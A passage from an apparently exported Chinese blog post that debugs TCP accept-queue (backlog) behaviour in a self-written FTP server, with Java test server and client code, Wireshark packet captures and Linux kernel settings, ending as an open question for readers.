[ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=300068462 TSecr=300068462\n 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0\n ```\n 需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文——如下面所示，最后的那个No.为`92345`后面还有很多报文，都是8083端口的server与client的通信\n ```\n No. Time Source Destination Protocol Length Info\n 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0\n 92346 12.207985091 127.0.0.1 127.0.0.1 TCP 73 8083 → 54168 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462\n 92347 12.208004676 127.0.0.1 127.0.0.1 TCP 66 54168 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=300068463 TSecr=300068463\n 92348 12.208041224 127.0.0.1 127.0.0.1 TCP 66 8083 → 54168 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=300068463 TSecr=300068463\n 92349 12.208052138 127.0.0.1 127.0.0.1 TCP 73 8083 → 54172 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462\n ```\n- 然而，这个并不是上述问题的原因，因为打印出来的hang住的端口号，跟发生重传`syn/ack`的端口号对不上\n\n### 猜测原因二\n\n- 网上搜到这篇文章[http://www.10tiao.com/html/749/201411/201005717/1.html](http://www.10tiao.com/html/749/201411/201005717/1.html)\n- 案例分析（二）那里描述的现象刚好跟跟上述问题非常相似——也是client握手成功但是读不到信息，作者分析的原因是，第三次握手的ACK因为AcceptQueue溢出而被丢弃，导致client进入了ESTABLISHED状态，但是server只是在`SYN_RECV`状态，并且因为`net.ipv4.tcp_synack_retries=1`(我的测试机器的这个参数是5)，所以如果Server重传的SYN+ACK报文对应的ACK还是被丢弃，那么就会进入client以为连接成功，但是server并没有连接成功的状态\n- 然而，我把server架设到另一个机子上，然后使用`watch -n 0.5 \"netcat -n | grep 8083 | grep -i \"syn\"\"`检查server那里是否有链接是一直处于`syn_recv`状态，但是整个过程中看到的处于`SYN_RECV`状态的链接端口号都是在不断变动（说明它们不是hang住的链接），并且client端所有没有hang住的链接都完成后，只剩下hang住的链接时，server端是看不到处于`syn_recv`状态的链接的\n- 所以我认为可能也不是这个原因（欢迎指正！）\n\n### 结尾\n\n- 这个问题并没有解决，如果有大佬知道原因，或者有一些想法，欢迎与我交流，谢谢！\n","content":"<h3 id=\"问题\"><a href=\"#问题\" class=\"headerlink\" title=\"问题\"></a>问题</h3><ul>\n<li>最近重构一个以前写的FTP Server，压测时，服务器的backlog是20，然后client总是有一些链接，已经<code>new Socket()</code>成功（根据测试，这意味着三次握手完成），但是就是收不到welcome信息，服务端的log看到的accept的链接数目少于client打开的链接数目(服务端的accept也没有报错)，少的数量刚好是client端hang住在读welcome信息那些链接的数目。后来尝试了调整<code>ulimit</code>无果，调整了backlog后就好了。看起来就像是一些链接被悄无声息（没有返回FIN或RST之类的报文）地从 等待被应用accept的队列 移除。</li>\n<li>我抽查的十几个hang住的端口对应的报文都是三次握手成功，然后还hang住时是没有新的报文的，client一关闭，发送了FIN后，一种情况是，server端就发送数据给client，另一种情况是server端对client的FIN报文返回RST。</li>\n<li><p>报文如下</p>\n<ul>\n<li><p>第一种情况的报文，这种是client hang住没多久就关掉整个client进程时出现的情况</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"> 117890 271.658989117 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40900 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647083 TSecr=0 WS=128</span><br><span class=\"line\"> 201498 272.673187012 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 40900 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=0 WS=128</span><br><span class=\"line\"> 201591 272.673232077 127.0.0.1 127.0.0.1 TCP 74 8083 → 40900 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648068 TSecr=298648097 WS=128</span><br><span class=\"line\"> 201643 272.673288084 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298648068</span><br><span class=\"line\"> 203783 297.152188039 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298672576 TSecr=298648068</span><br><span class=\"line\"> 203823 297.152451323 127.0.0.1 127.0.0.1 TCP 73 8083 → 40900 [PSH, ACK] Seq=1 Ack=2 Win=29312 Len=7 TSval=298672576 TSecr=298672576</span><br><span class=\"line\">0000 68 65 6c 6c 6f 0d 0a hello..</span><br><span class=\"line\"> 203825 297.152464118 127.0.0.1 127.0.0.1 TCP 54 40900 → 8083 [RST] Seq=2 Win=0 Len=0</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>第二种情况的报文，这种是client hang住很久才关掉整个client进程时出现的情况</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"> 21004 108.400081512 127.0.0.1 127.0.0.1 TCP 74 46538 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298483826 TSecr=0 WS=128</span><br><span class=\"line\"> 92060 109.409186851 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 46538 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484836 TSecr=0 WS=128</span><br><span class=\"line\"> 92108 109.409228584 127.0.0.1 127.0.0.1 TCP 74 8083 → 46538 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484804 TSecr=298484836 WS=128</span><br><span class=\"line\"> 92155 109.409268850 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298484836 TSecr=298484804</span><br><span class=\"line\">112908 254.340209126 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298629764 TSecr=298484804</span><br><span class=\"line\">112909 254.340214301 127.0.0.1 127.0.0.1 TCP 54 8083 → 46538 [RST] Seq=1 Win=0 Len=0</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"复现\"><a href=\"#复现\" class=\"headerlink\" title=\"复现\"></a>复现</h3><ul>\n<li><p>server</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">import</span> java.io.IOException;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.net.ServerSocket;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.net.Socket;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.Executor;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.Executors;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">public</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">TestBacklogServer</span> </span>{</span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> <span class=\"keyword\">throws</span> IOException </span>{</span><br><span class=\"line\"> Executor executor = Executors.newFixedThreadPool(<span class=\"number\">128</span>);</span><br><span class=\"line\"> ServerSocket socket = <span class=\"keyword\">new</span> ServerSocket(<span class=\"number\">8083</span>, <span class=\"number\">10</span>);</span><br><span class=\"line\"> <span class=\"keyword\">int</span> cnt = <span class=\"number\">0</span>;</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (<span class=\"keyword\">true</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">final</span> Socket client = socket.accept();</span><br><span class=\"line\"> System.out.println(cnt + <span class=\"string\">\": accept one: \"</span> + client.getRemoteSocketAddress());</span><br><span class=\"line\"> cnt++;</span><br><span class=\"line\"> executor.execute(() -> {</span><br><span class=\"line\"> <span class=\"keyword\">try</span> {</span><br><span class=\"line\"> client.getOutputStream().write(<span class=\"string\">\"hello\\r\\n\"</span>.getBytes());</span><br><span class=\"line\"> client.close();</span><br><span class=\"line\"> } <span class=\"keyword\">catch</span> (IOException e) {</span><br><span class=\"line\"> e.printStackTrace();</span><br><span class=\"line\"> }</span><br><span class=\"line\"> });</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>client。之所以设置了timeout，是为了拿到hang住的端口号，测试时可以不设置timeout，然后在没有新的输出时，threadDump，可以看到有多个链接hang在read那里</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br><span class=\"line\">35</span><br><span class=\"line\">36</span><br><span class=\"line\">37</span><br><span class=\"line\">38</span><br><span class=\"line\">39</span><br><span class=\"line\">40</span><br><span class=\"line\">41</span><br><span class=\"line\">42</span><br><span class=\"line\">43</span><br><span class=\"line\">44</span><br><span class=\"line\">45</span><br><span class=\"line\">46</span><br><span class=\"line\">47</span><br><span class=\"line\">48</span><br><span class=\"line\">49</span><br><span class=\"line\">50</span><br><span class=\"line\">51</span><br><span class=\"line\">52</span><br><span class=\"line\">53</span><br><span class=\"line\">54</span><br><span class=\"line\">55</span><br><span class=\"line\">56</span><br><span class=\"line\">57</span><br><span class=\"line\">58</span><br><span class=\"line\">59</span><br><span class=\"line\">60</span><br><span class=\"line\">61</span><br><span class=\"line\">62</span><br><span class=\"line\">63</span><br><span class=\"line\">64</span><br><span class=\"line\">65</span><br><span class=\"line\">66</span><br><span class=\"line\">67</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">import</span> java.io.BufferedReader;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.io.FileReader;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.io.IOException;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.io.InputStream;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.net.ServerSocket;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.net.Socket;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.net.SocketTimeoutException;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.HashSet;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.Vector;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.ExecutorService;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.Executors;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.TimeUnit;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.concurrent.atomic.LongAdder;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.regex.Matcher;</span><br><span class=\"line\"><span class=\"keyword\">import</span> java.util.regex.Pattern;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"keyword\">public</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">TestBacklogClient</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">private</span> <span class=\"keyword\">static</span> <span class=\"keyword\">final</span> LongAdder adder = <span class=\"keyword\">new</span> LongAdder();</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> <span class=\"keyword\">throws</span> IOException, InterruptedException </span>{</span><br><span class=\"line\"> Vector<Integer> timeoutPorts = <span class=\"keyword\">new</span> Vector<>(<span class=\"number\">1240</span>);</span><br><span class=\"line\"> ExecutorService pool = Executors.newFixedThreadPool(<span class=\"number\">128</span>);</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < <span class=\"number\">10240</span>; i++) {</span><br><span class=\"line\"> <span class=\"keyword\">int</span> finalI = i;</span><br><span class=\"line\"> pool.execute(() -> {</span><br><span class=\"line\"> <span class=\"keyword\">try</span> {</span><br><span class=\"line\"> Socket socket = <span class=\"keyword\">new</span> Socket(<span class=\"string\">\"localhost\"</span>, <span class=\"number\">8083</span>);</span><br><span class=\"line\"> socket.setSoTimeout(<span class=\"number\">1024</span> * <span class=\"number\">10</span>);</span><br><span class=\"line\"> System.out.println(<span class=\"string\">\"connect Success one: \"</span> + finalI);</span><br><span class=\"line\"> String r = readLine(socket.getInputStream());</span><br><span class=\"line\"> <span class=\"keyword\">assert</span> r == <span class=\"keyword\">null</span> || <span class=\"string\">\"hello\\r\\n\"</span>.equals(r);</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (r == <span class=\"keyword\">null</span>) {</span><br><span class=\"line\"> timeoutPorts.add(socket.getLocalPort());</span><br><span class=\"line\"> }</span><br><span class=\"line\"> System.out.println(<span class=\"string\">\"read success one: \"</span> + finalI);</span><br><span class=\"line\"> } <span class=\"keyword\">catch</span> (IOException e) {</span><br><span class=\"line\"> e.printStackTrace();</span><br><span class=\"line\"> }</span><br><span class=\"line\"> });</span><br><span class=\"line\"> }</span><br><span class=\"line\"> pool.shutdown();</span><br><span class=\"line\"> pool.awaitTermination(<span class=\"number\">1024</span>, TimeUnit.DAYS);</span><br><span class=\"line\"> System.out.println(adder.sum());</span><br><span class=\"line\"> System.out.println(timeoutPorts);</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">private</span> <span class=\"keyword\">static</span> String <span class=\"title\">readLine</span><span class=\"params\">(InputStream in)</span> <span class=\"keyword\">throws</span> IOException </span>{</span><br><span class=\"line\"> <span class=\"keyword\">byte</span>[] buf = <span class=\"keyword\">new</span> <span class=\"keyword\">byte</span>[<span class=\"number\">1024</span>];</span><br><span class=\"line\"> StringBuilder builder = <span class=\"keyword\">new</span> StringBuilder();</span><br><span class=\"line\"> <span class=\"keyword\">try</span> {</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (<span class=\"keyword\">true</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">int</span> t = in.read(buf);</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (t < <span class=\"number\">0</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">break</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> builder.append(<span class=\"keyword\">new</span> String(buf, <span class=\"number\">0</span>, t));</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">return</span> builder.toString();</span><br><span class=\"line\"> } <span class=\"keyword\">catch</span> (SocketTimeoutException ex) {</span><br><span class=\"line\"> adder.add(<span class=\"number\">1</span>);</span><br><span class=\"line\"> System.out.println(<span class=\"string\">\"time out, read: \"</span> + builder.length()</span><br><span class=\"line\"> + <span class=\"string\">\", \"</span> + builder.toString()</span><br><span class=\"line\"> + <span class=\"string\">\", hasCRLF: \"</span> + (builder.lastIndexOf(<span class=\"string\">\"\\r\\n\"</span>) >= <span class=\"number\">0</span>));</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"keyword\">null</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>localhost的系统配置信息</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">$ uname -r</span><br><span class=\"line\">4.18.0-13-generic</span><br><span class=\"line\"></span><br><span class=\"line\">$ /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog</span><br><span class=\"line\">512</span><br><span class=\"line\"></span><br><span class=\"line\">$ lsb_release -a</span><br><span class=\"line\">No LSB modules are available.</span><br><span class=\"line\">Distributor ID:\tUbuntu</span><br><span class=\"line\">Description:\tUbuntu 18.10</span><br><span class=\"line\">Release:\t18.10</span><br><span class=\"line\">Codename:\tcosmic</span><br><span class=\"line\"></span><br><span class=\"line\">$ java -version </span><br><span class=\"line\">openjdk version "11.0.1" 2018-10-16</span><br><span class=\"line\">OpenJDK Runtime Environment 18.9 (build 11.0.1+13)</span><br><span class=\"line\">OpenJDK 64-Bit Server VM 18.9 (build 11.0.1+13, mixed mode)</span><br><span class=\"line\"></span><br><span class=\"line\">$ /bin/cat /proc/sys/net/core/somaxconn </span><br><span class=\"line\">128</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>vps的配置信息</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">root@vultr:~# ./jdk-11.0.2/bin/java -version</span><br><span class=\"line\">java version "11.0.2" 2019-01-15 LTS</span><br><span class=\"line\">Java(TM) SE Runtime Environment 18.9 (build 11.0.2+9-LTS)</span><br><span class=\"line\">Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.2+9-LTS, mixed mode)</span><br><span class=\"line\"></span><br><span class=\"line\">root@vultr:~# uname -r</span><br><span class=\"line\">4.18.0-10-generic</span><br><span class=\"line\"></span><br><span class=\"line\">root@vultr:~# lsb_release -a</span><br><span class=\"line\">No LSB modules are available.</span><br><span class=\"line\">Distributor ID: Ubuntu</span><br><span class=\"line\">Description: Ubuntu 18.10</span><br><span class=\"line\">Release: 18.10</span><br><span class=\"line\">Codename: cosmic</span><br><span class=\"line\"></span><br><span class=\"line\">root@vultr:~# /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog</span><br><span class=\"line\">128</span><br><span class=\"line\"></span><br><span class=\"line\">root@vultr:~# /bin/cat /proc/sys/net/core/somaxconn</span><br><span class=\"line\">128</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>复现过程出现过这个现象：client端<code>ctrl-c</code>关掉后，server端突然就接收到了剩下的所有链接。这个在server运行在localhost时并且 一旦所有其他没有被hang住的链接完成后马上就<code>ctrl-c</code>时出现过，但是在server运行在vps上没出现过。</p>\n</li>\n</ul>\n<h3 id=\"猜测原因一\"><a href=\"#猜测原因一\" class=\"headerlink\" title=\"猜测原因一\"></a>猜测原因一</h3><ul>\n<li><p>按照TCP/IP详解卷二的说法，如果listen的那个端点的队列满了（已经完成三次握手的队列，其大小由backlog确定），那么就不回复syn。但是，有个问题，如果多个syn同时到达，那么即使这时候队列未满，也可能接受了这些syn的一部分后队列就满了，那么linux系统如何处理——是否会存在有些链接三次握手完成，但是放不进队列里。</p>\n</li>\n<li><p>按照这篇文章(<a href=\"http://veithen.io/2014/01/01/how-tcp-backlog-works-in-linux.html\" target=\"_blank\" rel=\"noopener\">http://veithen.io/2014/01/01/how-tcp-backlog-works-in-linux.html</a>)的说法，如果遇到这种情况，服务器会不断发送<code>syn/ack</code>报文（如果<code>/proc/sys/net/ipv4/tcp_abort_on_overflow</code>是<code>1</code>，则发送RST）</p>\n</li>\n<li><p>我自己也抓到了这种报文，其中8083是server，server的backlog只有10，然后有10240个client企图链接该server。</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">No. Time Source Destination Protocol Length Info</span><br><span class=\"line\"> 117974 271.659812650 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40970 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=0 WS=128</span><br><span class=\"line\"> 117976 271.659818367 127.0.0.1 127.0.0.1 TCP 74 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=298647084 WS=128</span><br><span class=\"line\"> 117977 271.659825016 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298647084 TSecr=298647084</span><br><span class=\"line\"> 201482 272.673178662 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=298647084 WS=128</span><br><span class=\"line\"> 201563 272.673220860 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#1] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298647084</span><br><span class=\"line\"> 201993 274.693205982 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298650117 TSecr=298648097 WS=128</span><br><span class=\"line\"> 201995 274.693247830 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#2] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298650117 TSecr=298647084</span><br><span class=\"line\"> 201997 274.693527487 127.0.0.1 127.0.0.1 TCP 73 8083 → 40970 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=298650117 TSecr=298650117</span><br><span class=\"line\">0000 68 65 6c 6c 6f 0d 0a hello..</span><br><span class=\"line\"> 201999 274.693556287 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=298650117 TSecr=298650117</span><br><span class=\"line\"> 202001 274.695599421 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=298650119 TSecr=298650117</span><br><span class=\"line\"> 202009 274.737168658 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298650161 TSecr=298650119</span><br><span class=\"line\"> 203731 297.151676910 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [FIN, ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298672575 TSecr=298650119</span><br><span class=\"line\"> 203732 297.151682855 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [ACK] Seq=9 Ack=2 Win=43776 Len=0 TSval=298672575 TSecr=298672575</span><br></pre></td></tr></table></figure>\n<p> 在<code>/proc/sys/net/ipv4/tcp_abort_on_overflow</code>设为<code>1</code>之后，抓到了如下报文。需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">No. Time Source Destination Protocol Length Info</span><br><span class=\"line\"> 5904 9.174057671 127.0.0.1 127.0.0.1 TCP 74 54448 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300065429 TSecr=0 WS=128</span><br><span class=\"line\"> 92075 10.190560916 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300066446 TSecr=0 WS=128</span><br><span class=\"line\"> 92209 12.206628025 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=0 WS=128</span><br><span class=\"line\"> 92258 12.206814283 127.0.0.1 127.0.0.1 TCP 74 8083 → 54448 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=300068462 WS=128</span><br><span class=\"line\"> 92319 12.207072233 127.0.0.1 127.0.0.1 TCP 66 54448 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=300068462 TSecr=300068462</span><br><span class=\"line\"> 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0</span><br></pre></td></tr></table></figure>\n<p> 需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文——如下面所示，最后的那个No.为<code>92345</code>后面还有很多报文，都是8083端口的server与client的通信</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">No. Time Source Destination Protocol Length Info</span><br><span class=\"line\"> 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0</span><br><span class=\"line\"> 92346 12.207985091 127.0.0.1 127.0.0.1 TCP 73 8083 → 54168 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462</span><br><span class=\"line\"> 92347 12.208004676 127.0.0.1 127.0.0.1 TCP 66 54168 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=300068463 TSecr=300068463</span><br><span class=\"line\"> 92348 12.208041224 127.0.0.1 127.0.0.1 TCP 66 8083 → 54168 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=300068463 TSecr=300068463</span><br><span class=\"line\"> 92349 12.208052138 127.0.0.1 127.0.0.1 TCP 73 8083 → 54172 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>然而，这个并不是上述问题的原因，因为打印出来的hang住的端口号，跟发生重传<code>syn/ack</code>的端口号对不上</p>\n</li>\n</ul>\n<h3 id=\"猜测原因二\"><a href=\"#猜测原因二\" class=\"headerlink\" 